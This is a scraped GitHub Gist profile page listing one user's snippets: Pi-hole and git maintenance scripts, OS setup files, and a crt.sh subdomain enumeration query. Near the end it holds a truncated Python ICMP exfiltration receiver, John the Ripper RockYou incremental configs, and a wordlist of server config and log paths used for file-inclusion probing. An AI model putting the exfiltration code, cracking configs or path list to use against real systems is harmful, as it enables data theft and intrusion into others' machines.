Skip to content

Instantly share code, notes, and snippets.

View maxrodrigo's full-sized avatar
🪐
(loop(print "code hack automate"))

Max Rodrigo maxrodrigo

🪐
(loop(print "code hack automate"))
View GitHub Profile
@maxrodrigo
maxrodrigo / pihole_blocklists.sh
Created October 20, 2021 22:11
Add blocklists to gravity.db with sqlite
curl https://v.firebog.net/hosts/lists.php?type=tick | \
xargs -I {} sqlite3 /etc/pihole/gravity.db "INSERT OR IGNORE INTO adlist (address, comment) VALUES ('{}','firebog');"
pihole -g
@maxrodrigo
maxrodrigo / git_file_prune.sh
Created September 15, 2021 06:28
Prune Git Repository
#!/usr/bin/env bash
FILE="$1"
git filter-branch --index-filter "git rm --cached --ignore-unmatch $FILE" --prune-empty --tag-name-filter cat -- --all
git for-each-ref --format="delete %(refname)" refs/original | git update-ref --stdin
git reflog expire --expire=now --all
git gc --prune=now
@maxrodrigo
maxrodrigo / alpine_setup_answer_file.txt
Created May 10, 2021 12:23
Alpine Raspberry Pi Setup Answer File
# Keyboard layout and variant
KEYMAPOPTS="<KEYBOARDLAYOUT> <KEYBOARDVARIANT>"
# Hostname
HOSTNAMEOPTS="-n <HOSTNAME>"
# Network interfaces
INTERFACESOPTS="auto lo
iface lo inet loopback
@maxrodrigo
maxrodrigo / arch_packages.txt
Created December 10, 2020 21:57
Arch packages
base
linux
linux-firmware
base-devel
sudo
iwd
dhcpcd
man-db
vi
rxvt-unicode
@maxrodrigo
maxrodrigo / crtsh-enum.sh
Last active October 27, 2020 01:23
`crt.sh` PostgreSQL interface subdomain query
#!/usr/bin/env bash
# Usage: ./crtsh-subdomains.sh domain.com
query="SELECT ci.NAME_VALUE NAME_VALUE FROM certificate_identity ci WHERE ci.NAME_TYPE = 'dNSName' AND reverse(lower(ci.NAME_VALUE)) LIKE reverse(lower('%.$1'));"
(echo $1; echo $query | \
psql -t -h crt.sh -p 5432 -U guest certwatch | \
sed -e 's:^ *::g' -e 's:^*\.::g' -e '/^$/d' | \
sed -e 's:*.::g';) | sort -u
@maxrodrigo
maxrodrigo / youtube-to-gif.sh
Created October 15, 2020 14:38
Creates gif for the given youtube video
#!/usr/bin/env bash
# example: ./yt-2-gif.sh dQw4w9WgXcQ 1 3
VID=$1
SKIP_SECONDS=$2
TIME=$3
youtube-dl --no-progress -o ${VID} ${VID}
ffmpeg -y -v error -ss ${SKIP_SECONDS} -t ${TIME} \
@maxrodrigo
maxrodrigo / icmp_exfiltration.py
Created October 7, 2020 15:13
ICMP Exfiltration
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from scapy.all import sniff, ICMP
def process_packet(packet):
if packet.haslayer(ICMP) and packet[ICMP].type == 0:
data = packet[ICMP].load[-8:]
try:
[Incremental:RockYou-LanMan]
File = $JOHN/rockyou-lanman.chr
MinLen = 0
MaxLen = 7
CharCount = 69
[Incremental:rockyou]
File = $JOHN/rockyou.chr
MinLen = 0
MaxLen = 8
/NetServer\bin\stable\apache\php.ini
/PHP\php.ini
/Program Files\Apache Group\Apache2\conf\httpd.conf
/Program Files\Apache Group\Apache\conf\httpd.conf
/Program Files\Apache Group\Apache\logs\access.log
/Program Files\Apache Group\Apache\logs\error.log
/Program Files\xampp\apache\conf\httpd.conf
/Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf
/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf
/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf
C:/$recycle.bin/s-1-5-18/desktop.ini
C:/MININT/SMSOSD/OSDLOGS/VARIABLES.DAT
C:/apache/log/access.log
C:/apache/log/access_log
C:/apache/log/error.log
C:/apache/log/error_log
C:/apache/logs/access.log
C:/apache/logs/access_log
C:/apache/logs/error.log
C:/apache/logs/error_log